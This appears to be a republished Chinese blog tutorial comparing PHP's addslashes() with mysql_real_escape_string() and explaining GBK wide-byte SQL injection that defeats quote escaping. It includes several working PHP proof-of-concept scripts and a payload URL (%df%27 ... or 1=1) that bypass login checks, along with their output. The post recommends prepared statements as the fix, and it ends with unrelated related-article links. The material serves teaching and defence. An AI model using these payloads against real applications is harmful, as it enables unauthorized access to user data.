PHP函数 addslashes() 和 mysql_real_escape_string() 的区别 && SQL宽字节,绕过单引号注入攻击
首先:不要使用 mysql_escape_string(),它已被弃用,请使用 mysql_real_escape_string() 代替它。
mysql_real_escape_string() 和 addslashes() 的区别在于:
区别一:
addslashes() 不知道任何有关MySQL连接的字符集。如果你给所使用的MySQL连接传递一个包含字节编码之外的其他编码的字符串,它会很愉快地把所有值为字符'、"、\和\x00的字节进行转义。如果你正在使用不同于8位和UTF-8的其它字符,这些字节的值不一定全部都是表示字符'、"、\和\x00。可能造成的结果是,MySQL接收这些字符后出现错误。
如果要修正这个bug,可尝试使用 iconv() 函数,将变量转为UTF-16,然后再使用 addslashes() 进行转义。
这是不使用 addslashes() 进行转义的原因之一。
区别二:
与 addslashes() 对比,mysql_real_escape_string() 同时还对\r、\n和\x1a进行转义。看来,这些字符必须正确地告诉MySQL,否则会得到错误的查询结果。
这是不使用 addslashes() 进行转义的另一个原因。
addslashes V.S. mysql_real_escape_string
在GBK里,0xbf27不是一个合法的多字符字符,但0xbf5c却是。在单字节环境里,0xbf27被视为0xbf后面跟着0x27('),同时0xbf5c被视为0xbf后面跟着0x5c(\)。
一个用反斜杠转义的单引号,是无法有效阻止针对MySQL的SQL注入攻击的。如果你使用addslashes,那么,我(攻击者,下同)是很幸运的。我只要注入一些类似0xbf27,然后addslashes将它修改为0xbf5c27,一个合法的多字节字符后面接着一个单引号。换句话说,我可以无视你的转义,成功地注入一个单引号。这是因为0xbf5c被当作单字节字符,而非双字节。
在这个演示中,我将使用MySQL 5.0和PHP的mysqli扩展。如果你想尝试,请确保你使用GBK。
创建一个名为 users 的表:
CREATE TABLE users(
username VARCHAR(32) CHARACTER SET GBK,
password VARCHAR(32) CHARACTER SET GBK,
PRIMARY KEY(username)
);
下面的代码模拟只使用 addslashes()(或magic_quotes_gpc) 对查询数据进行转义时的情况:
<?php
header('Content-Type: text/html; charset=gbk');
$mysql = array();
$db = mysqli_init();
$db->real_connect('localhost', 'root', 'root', 'go-study'); /* SQL注入示例 */
$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username #/*';
$_POST['password'] = 'guess'; $mysql['username'] = addslashes($_POST['username']);
$mysql['password'] = addslashes($_POST['password']); $sql = "SELECT *
FROM users
WHERE username = '{$mysql['username']}'
AND password = '{$mysql['password']}'"; $result = $db->query($sql); if ($result->num_rows) {
/* 成功 */
} else {
/* 失败 */
}
尽管使用了addslashes(),我还是可以在不知道用户名和密码的情况下成功登录。我可以轻松的利用这个漏洞进行SQL注入。
要以免这种漏洞,使用 准备语句(Prepared Statements,即“参数化查询”)或者任意一款主流的数据库抽象类库。
sql宽字节注入,绕过单引号
在 GBK 编码中, 0xbf27 不是一个宽字符, 但是 0xbf5c 是宽字符. 拆开看, 0xbf27 是 0xbf () 和 0x27 (')的组合, 同时 0xbf5c 是 0xbf () 和 0x5c (\)的组合.所以我们要让系统在过滤单引号时候,插入一个 (\),变成0xbf5c27这就是一个宽字符0xbf5c加上一个 0x27 (')。
这样就产生了注入。
这种做法,其实用的最普遍的就是xss时候,长期会使用到。让系统过滤script同时过滤之后又产生script。
来几个exp,mysql版本5.5.15,php版本5.3.5:
<?php
$c = mysql_connect("localhost", "root", "cr0_3");
mysql_select_db("test", $c);
// change our character set
mysql_query("SET CHARACTER SET 'gbk'", $c);
// create demo table
mysql_query("CREATE TABLE users (
username VARCHAR(32) PRIMARY KEY,
password VARCHAR(32)
) CHARACTER SET 'GBK'", $c);
mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c);
// now the exploit code
$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username #/*';
$_POST['password'] = 'anything';
// Proper escaping, we should be safe, right?
$user = mysql_real_escape_string($_POST['username'], $c);
$passwd = mysql_real_escape_string($_POST['password'], $c);
$sql = "SELECT * FROM users WHERE username = '{$user}' AND password = '{$passwd}'";
echo $sql;
$res = mysql_query($sql, $c);
//print_r($res);
echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records
mysql_close($c);
?>
输出:
SELECT * FROM users WHERE username = '縗' OR username = username #/*' AND password = 'anything'2
<?php
$mysql = array();
$db = mysqli_init();
$db->real_connect('localhost', 'root', 'cr0_3', 'test');
$db->query("SET NAMES 'gbk'");
/* SQL Injection Example */
$_POST['username'] = chr(0xbf) . chr(0x27) .' OR username = username #';
$_POST['password'] = 'guess';
$mysql['username'] = addslashes($_POST['username']);
$mysql['password'] = addslashes($_POST['password']);
$sql = "SELECT *
FROM users
WHERE username = '{$mysql['username']}
AND password = 'test'";
$result = $db->query($sql);
echo $sql;
if ($result->num_rows) {
echo 'Success';
/* Success */
} else {
/* Failure */
echo 'Failure';
}
?>
输出:
SELECT * FROM users WHERE username = '縗' OR username = username # AND password = 'test'Success
<?php
$conn=mysql_connect("localhost","root","cr0_3");
mysql_query("SET NAMES 'GBK'");
mysql_select_db("test",$conn);
$_GET['user'] = chr(0xdf) .chr(0x27).' OR username = username #';
//$_GET['pass'] = 'guess';
$user=mysql_escape_string($_GET['user']);
$pass=mysql_escape_string($_GET['pass']);
$sql="select * from users where username='$user' and password='$pass'";
$result=mysql_query($sql,$conn);
echo $sql;
echo mysql_num_rows($result);
$rows = array();
while ($row=mysql_fetch_array($result, MYSQL_ASSOC)) {
$rows[]=$row;
}
print_r($rows);
?>
输入:
http://localhost/exp3.php?user=%df%27%20or%201=1%20limit%201,1%23&pass=
输出:
select * from users where username='運' OR username = username #' and password=''2
PHP函数 addslashes() 和 mysql_real_escape_string() 的区别 && SQL宽字节,绕过单引号注入攻击的更多相关文章
- PHP函数addslashes和mysql_real_escape_string的区别
转自:http://www.jb51.net/article/49205.htm 这篇文章主要介绍了PHP函数addslashes和mysql_real_escape_string的区别,以及一个 ...
- sql 语句哪里添加单引号问题
1.sql 语句哪里添加单引号问题,哪些地方必须加双引号,否则sql语句会报错? :涉及varchar的值的时候,必须有单引号包括varchar值.int等其他字段类型,则不需要加单引号包括. 如: ...
- SQL宽字节注入
0x00 概述 - 什么是宽字节注入? 宽字节注入就是因为gbk编码方式需要两个ascii码组合来解码,所以形象的叫做宽字节,这个作为了解即可 -宽字节注入的条件 1) 数据库查询设置为GBK编码 2 ...
- SQL语句中的单引号处理以及模糊查询
为了防止程序SQL语句错误以及SQL注入,单引号必须经过处理.有2种办法: 1.使用参数,比如SELECT * FROM yourTable WHERE name = @name; 在C#中使用Sql ...
- 数据库SQL、SQLite语句单引号、双引号的用法
最近编程操作数据库语句的时候出现一些问题. 关于Insert字符串 ,在(单引号,双引号)这个方面发生了问题,其实主要是因为数据类型和变量在作怪. 下面我们就分别讲述,虽然说的是Insert语句, 但 ...
- SQL语句中有关单引号、双引号和加号的问题
字符串数据是用单引号包在外面的,而+号只是用来连接这些字符串的. 数据库里的字段是整型的时候不要加单引号,是字符串的时候要加,其它类型根据实际情况来,双引号就是用来拼接字符串的,单引号是sql文的固有 ...
- SQL注入之Sqli-labs系列第三十六关(基于宽字符逃逸GET注入)和三十七关(基于宽字节逃逸的POST注入)
0X1 查看源码 function check_quotes($string) { $string= mysql_real_escape_string($string); return $string ...
- SQL语句中&、单引号等特殊符号的处理
今天遇到一个insert语句,在SQL Tools(链接Oracle数据库)插入的某列值为“Computer Hardware & Software>>CPU",这样执行 ...
- sql宽字节注入,绕过单引号
参加下面: http://leapar.lofter.com/post/122a03_3028a9 http://huaidan.org/archives/2268.html https://ilia ...
随机推荐
- C#.NET 大型通用信息化系统集成快速开发平台 4.1 版本 - 密码强化、网络安全强化
公司的系统庞大后,用户数量也庞大,容易引起各种网络安全相关问题,需要把每个用户的网络安全意识都提高,由于历史原因有些用户的密码过于简单,很容易被猜到,引起很多没必要的麻烦. 系统登录成功后,检查密码复 ...
- Spring源码分析——资源访问利器Resource之接口和抽象类分析
从今天开始,一步步走上源码分析的路.刚开始肯定要从简单着手.我们先从Java发展史上最强大的框架——Spring...旗下的资源抽象接口Resource开始吧. 我看了好多分析Spring源码的,每每 ...
- lhgDialog窗口组件
应用到你的项目 在页面head引入lhgdialog(如果项目采用jQuery作为框架,则引用jQuery的库). <script type="text/javascript" ...
- 我也来写:数据库访问类DBHelper
一.前言 相信许多人都百度过:“.net 数据库访问类”.然后就出来一大堆SqlHelper.我也用过这些SqlHelper,也自己写过,一堆静态方法,开始使用起来感觉很不错,它们也确实在很多时候可以 ...
- 疑难杂症——EF+Automapper引发的查询效率问题解析
前言:前面总结了一些WebApi里面常见问题的解决方案,本来打算来分享下oData+WebApi的使用方式的,奈何被工作所困,只能将此往后推了.今天先来看看EF和AutoMapper联合使用的一个问题 ...
- 新的一年快开始了,学点新东西吧,从React开始(一)
ReactJS是Facebook出的前端View框架,好东西啊. 看看它的说明: 仅仅是UI 许多人使用React作为MVC架构的V层. 尽管React并没有假设过你的其余技术栈, 但它仍可以作为一个 ...
- C#、ASP.NET获取当前应用程序的绝对路径,获取程序工作路径 (转帖)
C#.ASP.NET获取当前应用程序的绝对路径,获取程序工作路径 ============================================ 使用 Application.Start ...
- C# 如何生成一个时间戳
在程序中,常常会用到时间戳,如何生成一个时间戳呢? /// <summary> /// 获取时间戳 /// </summary> /// <returns>< ...
- Activity数据传递
1.在启动界面里通过intent调用方法putExtra添加欲携带数据 2.在被启动界面里通过getIntent方法获取Intent对象 3.通过intent的getXxxExtra方法获取对应的数据
- bzoj2038小z的袜子
用平面曼哈顿距离最小生成树或者莫队算法都可以吖QwQ~ 然而显然后者更好写(逃~) 莫队怎么写就看图吧QwQ~ 话说我一开始没开long long然后拍了3000组没拍出错交上去Wa了QAQ #inc ...